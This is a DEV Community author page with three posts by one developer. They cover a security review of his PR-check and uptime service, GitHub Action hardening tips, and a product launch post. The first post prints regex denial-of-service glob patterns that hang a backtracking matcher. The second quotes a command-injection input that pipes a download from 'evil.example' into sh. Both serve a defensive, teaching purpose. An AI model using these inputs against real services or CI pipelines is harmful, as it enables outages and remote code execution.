DEV Community: Utsav Mishra

One pull request could have frozen my uptime monitor for everyone

Utsav Mishra — Sun, 18 Oct 2026 16:46:36 +0000

I run a small service that checks every pull request for environment variables the code reads but nobody declared, and watches the sites those repos deploy to. Two weeks before launching it, I asked for a security review of the whole thing: about 12,500 lines of TypeScript, read by four reviewers in parallel, each taking one surface (web auth, the GitHub App and ingest, the worker, the CLI and supply chain).

I expected to hear about tenant isolation. That part held: no cross-tenant read or write, no auth bypass, no way to make the server fetch an internal address. What came back instead was a different category of problem, and I'd never have found it myself: one hostile pull request could stop uptime checks and alerts for every user at once.

A `.gitignore` line that takes 27 seconds

The PR check reads the repo's .gitignore so it skips files the author doesn't track. My matcher turned each glob into a regular expression: * became [^/]*, bracket classes were copied through, and the result went into new RegExp.

That's a backtracking engine fed by whoever opens the PR. A pattern like *a*a*a*a*a*a*a*a*a*b tested against a filename of forty as backtracks polynomially; the reviewer measured 26.9 seconds for a single test() with nine stars, and another saw twelve stars run past two minutes. A bracket class like []|(a+)+b] is worse, because the raw copy turns it into a top-level alternation with (a+)+ inside, which is exponential. And [z-a] doesn't hang at all: it throws, which has its own consequences I'll get to.

Anyone who can open a PR on a repo with the app installed can write a .gitignore. On a public repo that includes fork PRs. And the matcher ran synchronously inside the one worker process that also does the uptime checks, so while it spun, nothing was checked and nobody was alerted. Worse, the job queue can't expire a job while the event loop is blocked, and after a restart it retries the same job. Six times.

The fix had two parts, and the first was embarrassing: git doesn't apply .gitignore to files that are already in the tree, and the PR check only ever reads tracked files, so the matcher shouldn't have been running there at all. The CLI still needs one for untracked working directories, so it got a linear-time wildcard matcher modelled on git's own wildmatch, bracket classes built safely, and caps on rule count and length.

The quadratic loop that only shows up at 37,000 references

The second finding was the same shape with no regex in it. The code that groups a file's env-var references by name copied the array on every push. Harmless at fifty references. A 512 KB TypeScript file consisting of process.env.A lines has about 37,000, and that loop alone took 12 seconds; at 74,000 it was 54. A chain of 8,000 Pydantic settings classes in reverse order didn't go quadratic, it ran out of stack.

Both were on files the PR author controls, both ran in the shared worker, same blast radius. The fix for each was ordinary (push in place; resolve the class chain iteratively with a parent map). The fix that mattered was general: every PR check now runs in its own worker thread with a hard wall-clock limit, and a check that hits it is killed and reported as "couldn't be checked", neutral, never retried. No tenant's pull request can block another tenant's monitoring, whatever I haven't thought of yet.

Failing open is a security bug too

Remember [z-a], the pattern that throws? It wasn't a hang. The check just crashed, and a crashed check posts nothing: no comment, no check run, no red mark. On a repo with strict mode and branch protection, a PR that commits a secret and happens to also break the matcher shows up as having no check at all, which looks like "not required" to GitHub.

The review found three more ways to reach the same silence: a line with roughly 166,000 destructured keys blew a spread into RangeError; the check-run output had no size cap, and GitHub rejects anything over 65,535 characters with a 422; and the code that looks for its own earlier comment trusted any bot's comment containing the marker. Each one ends in nothing posted. The rule that came out of it: an unexpected error produces a neutral "couldn't be checked" run, every time. Silence is never an outcome.

The one that touched the promise

My tool's whole pitch is that it only ever sees variable names, file paths and line numbers, never values. The review found a way for a fragment of a value to reach the server as a name.

An .env file with an unterminated quote:

KEY="abc wJalrXUtnFEMIK7MDENGbPxRfiCYEXAMPLEKEY= OTHER=1

My parser fell through the unterminated quote on purpose, re-parsed every following line as KEY=value, and so produced a key called wJalrXUtnFEMIK7MDENGbPxRfiCYEXAMPLEKEY. That key became an "unused variable" finding, and findings get sent to the server. A PEM block pasted unquoted into .env does the same with its last base64 line.

Needs a malformed env file, so rare in CI and more likely on a laptop, and dry-run mode sends nothing. Still a lie on the security page. Now an unterminated quote swallows the rest of the file as that value, unquoted -----BEGIN to -----END is skipped, and the server validates every finding name against the env-name pattern, so even a buggy client can't push a value-shaped string through.

The test that never tested anything

While fixing the quadratic loops I wrote timing tests: feed the hostile input, assert it finishes under a bound. One of them passed on the first run. That should have been the clue. When I checked out the pre-fix code and ran the same test, it passed there too. The input wasn't big enough to trigger the slow path on a fast machine, so the test was asserting nothing.

Two rules came out of that, now written down in the repo: a timing test on hostile input has to be shown to fail against the code before the fix, or it isn't a test; and its bound needs about four times the headroom you measure locally, because the CI runner is slower and a flaky security test gets deleted by the next person it annoys.

What I'd tell someone running a multi-tenant worker

Availability is a tenant-isolation property. If one customer's input can block the loop that serves everyone, your isolation is only as good as your parsers. Anything you compile from user input into a regex is a denial-of-service you haven't measured yet. Anything you run on an attacker's file needs to be linear or run somewhere with a wall clock. And a check that can crash has to have an answer for what it posts when it does, because "nothing" reads as "fine".

The whole fix was one focused week before launch, in the scanner and the worker, and none of it changed the product. The review itself was the valuable part; the findings are in the repo's security doc if you want the full list, including the ones I decided to live with.

Source: Utsav-mishra-25/deployhealth.

If you run user-supplied globs or regexes anywhere, when did you last time them with a hostile input?

I published my first GitHub Action. Five things I'd tell myself first

Utsav Mishra — Thu, 15 Oct 2026 20:43:59 +0000

This week I published my first GitHub Action to the Marketplace. It's a small one: a composite action that runs a CLI I maintain, pinned to an exact version, on every push.

Small as it is, it taught me five things I wish I'd known before I started. None of them are specific to my tool, so here they are.

1. A composite action is probably enough

There are three kinds of actions: JavaScript, Docker and composite. I almost reached for JavaScript because that's what most popular actions use. But my action only needed to run one command:

runs:
  using: composite
  steps:
    - shell: bash
      run: npx --yes my-cli@0.5.0 --dry-run

A composite action is just a list of steps, like a mini-workflow. No build step, no dist/ folder to commit, no container to pull. The cost is that it relies on what the runner already has. Mine needs Node, which GitHub-hosted runners include, so the README says plainly that self-hosted runners need Node installed.

If your action is "run this tool with these flags", start with composite.

2. Never put `${{ inputs.x }}` inside `run:`

This was the one I didn't know, and it's the most important.

${{ }} expressions are expanded before the shell runs. The value gets pasted into your script as text. So if an input contains something like "; curl evil.example | sh; echo ", it becomes part of your script. That's script injection, and GitHub's own security hardening guide for Actions warns about it.

What I almost wrote:

- shell: bash
  run: npx --yes my-cli@0.5.0 --dir ${{ inputs.working-directory }}

What I shipped:

- shell: bash
  env:
    INPUT_DIR: ${{ inputs.working-directory }}
  run: npx --yes my-cli@0.5.0 --dir "$INPUT_DIR"

The expression now only sets an environment variable. Bash reads the variable as data, and the quotes keep it as a single argument. Every input in my action goes through env: and is quoted, and there is no ${{ }} anywhere inside a run: block.

3. Secrets go in `env:`, not on the command line

My CLI takes an API token. The obvious way is --token "$TOKEN". The problem: command-line arguments are visible to anything on the machine that can list processes, and they show up in logs the moment someone turns on set -x or debug logging. GitHub masks registered secrets in logs, but I'd rather not depend on masking.

So the CLI reads the token from an environment variable when --token isn't given, and the action only ever passes it that way:

- shell: bash
  env:
    MY_CLI_TOKEN: ${{ inputs.token }}
  run: npx --yes my-cli@0.5.0

Funny thing: a few days after shipping the action, a security pass found that the copy-paste workflow snippet on my own app's settings page still passed --token on the command line. Fixed the same day.

4. Pin two different things, two different ways

There are two versions in play, and they behave differently.

The tool inside the action. I pin the npm package to an exact version (my-cli@0.5.0), because a published npm version can't change. Whatever a user's workflow runs today, it runs tomorrow.

The action itself. Users write uses: owner/my-action@v1. But v1 is just a git tag, and tags can be moved. That's the whole point of a major-version tag: I move v1 forward when I release v1.0.1. It's convenient, and it also means users are trusting me not to move it somewhere bad. So the README says: if you want a guarantee, pin the full commit SHA instead:

- uses: owner/my-action@<full 40-character commit sha> # v1.0.0

Creating the moving tag after the first release is two commands:

git tag v1 v1.0.0
git push origin v1

When v1.0.1 ships, you move it with git tag -f v1 v1.0.1 and git push -f origin v1.

5. Test the action in its own repo, including the failure path

The repo has a workflow that runs the action on every push against a tiny fixture: one JS file that reads an env var, and a .env.example that doesn't declare it. The action runs in dry-run mode, so it needs no secret.

The part I'm happiest with is testing the failure. Without a token and without dry-run, the action must fail with a clear message. A step that must fail looks like this:

- name: Run without a token (must fail)
  id: no_token
  continue-on-error: true
  uses: ./
  with:
    working-directory: test/fixture

- name: Check that it failed
  if: steps.no_token.outcome != 'failure'
  run: |
    echo "The action should fail without a token"
    exit 1

continue-on-error lets the workflow keep going, and outcome still records what really happened. If someone later "fixes" the action so it silently succeeds without a token, this goes red.

Bonus: Marketplace gotchas

The name must be unique. Not just among actions: it can't match a Marketplace category, or a GitHub user or organization you don't own. Search the Marketplace first.
Fill in the release title. I left it empty, and my first release showed up as "v1.0.0: Merge pull request #1 from …".
Don't write @v1 in release notes. GitHub turned it into an @-mention of a real user called v1, who then appeared as a contributor to my release. Put it in backticks.

Wrapping up

None of this is hard, but #2 and #3 are easy to get wrong, and they're the kind of mistake that only matters once someone exploits it. If you maintain an action, it's worth a two-minute look at your run: blocks.

The action I built is open source if you want to see all of this in one place: Utsav-mishra-25/deployhealth-action.

Do you pin third-party actions by SHA, or do you trust tags? I'm curious where people draw the line.

A missing line in .env.example took down our prod, so I built a PR check for it

Utsav Mishra — Tue, 06 Oct 2026 15:07:47 +0000

I work as a software engineer at a startup, where small changes go out to production all the time. One of them broke a feature in prod. The code looked fine. We went through the commit history line by line looking for what we had missed, while 500s kept piling up.

The cause was an env var. The change read a new variable that existed on the developer's machine but had never been added to .env.example or to production. One missing line, and the feature went down.

Why nothing caught it

This bug slips past every usual safety net:

Tests pass, because they mock the config or run with a local .env.
Review misses it, because a new process.env.SOMETHING is one short line in a long diff, and nobody checks it against .env.example.
The build passes, because a missing env var isn't a compile error. It's just undefined at runtime.
Production finds it, after the deploy, through users or error logs.

The fix takes ten seconds. Finding it takes hours.

What you can do today, without any tool

Validate env vars at startup. t3-env, envalid or a small zod schema make the app fail on boot with a clear message, instead of on the first request with a mystery 500.
Treat .env.example as a contract. Every variable the code reads belongs there. Put it on your PR checklist.
Check the diff before merging. Search it for process.env. or os.environ and compare each name against .env.example.

All three work. The third one only works if someone remembers to do it, and that's the part I wanted to automate.

What I built: deployhealth

It started as envcheck, a small scanner that finds every env var your code reads and compares them with your env files. Pull request checks and uptime monitoring grew around it, and it became deployhealth.

1. A pull request check (GitHub App). When a PR starts reading a new env var, the App comments with the name and the exact file and line, and warns if it isn't declared in .env.example. It also flags a committed .env file and anything on the added lines that looks like a leaked key.

2. A scan on every push (CLI). The CLI checks the whole repo the same way and reports, per deploy:

variables the code reads but nothing declares,
variables declared but never used,
.env and .env.example drifting apart.

Try it on your own repo. In dry-run mode it sends nothing:

npx -y deployhealth-scan --dry-run

3. Uptime checks that know about deploys. If an endpoint starts failing soon after a deploy, the alert names that deploy and the env vars it introduced. From the live demo:

Acme API started failing 4m after deploy b52952e, which introduced 2 missing env vars: REDIS_URL, STRIPE_KEY

It only ever handles variable names, file paths and line numbers, never values.

What it doesn't do yet

It reads JS/TS, Python, Go and Ruby. On other stacks, the PR check says it can't check the repo yet instead of showing a green pass.
It can't see what's actually set on Vercel or Railway, only what's in your repo.
It's regex-based, so dynamic reads like process.env[name] are missed.

How I built it

I built deployhealth in close collaboration with Claude Code, and the process mattered as much as the code.

Every phase started with a written plan from me: what to build, what must never happen, and how to test it. Before any code was written, the plan came back as a list of numbered decisions, and I approved, changed or rejected each one. Then came small commits, the full test suite, and a summary I reviewed before anything was merged. I read the risky parts myself: authentication, the webhook, anything public, anything that touches someone else's repo.

Some of the most useful moments came from that back-and-forth:

A security review before launch found that one crafted pull request could freeze the worker that runs the checks. The check now runs in an isolated thread with a time limit, and every parser runs in linear time, with tests that fail on the slow version.
A friend tried it on a Java/Spring repo and got a green check that had read nothing. That became a whole phase: every check now says what it actually read, and a repo it can't read says so.
The docs and the code once disagreed about how jobs were locked. Since then I check every claim against the code, not just the summary.

The infrastructure, the releases and the final call on every decision were mine. The result is something I understand end to end and can stand behind.

Try it

Live demo, no login: https://deployhealth.dev/demo
GitHub App: https://github.com/apps/deployhealth
Source: https://github.com/Utsav-mishra-25/deployhealth (the scanner and CLI are MIT, the rest is FSL and free to self-host)

The hosted version is free while in beta. It's built for small teams and freelancers who look after several apps.

Two questions for you: has a missing env var ever taken down your prod, and how long did it take to find? And if you run the dry run on your repo, does it catch anything, or get something wrong?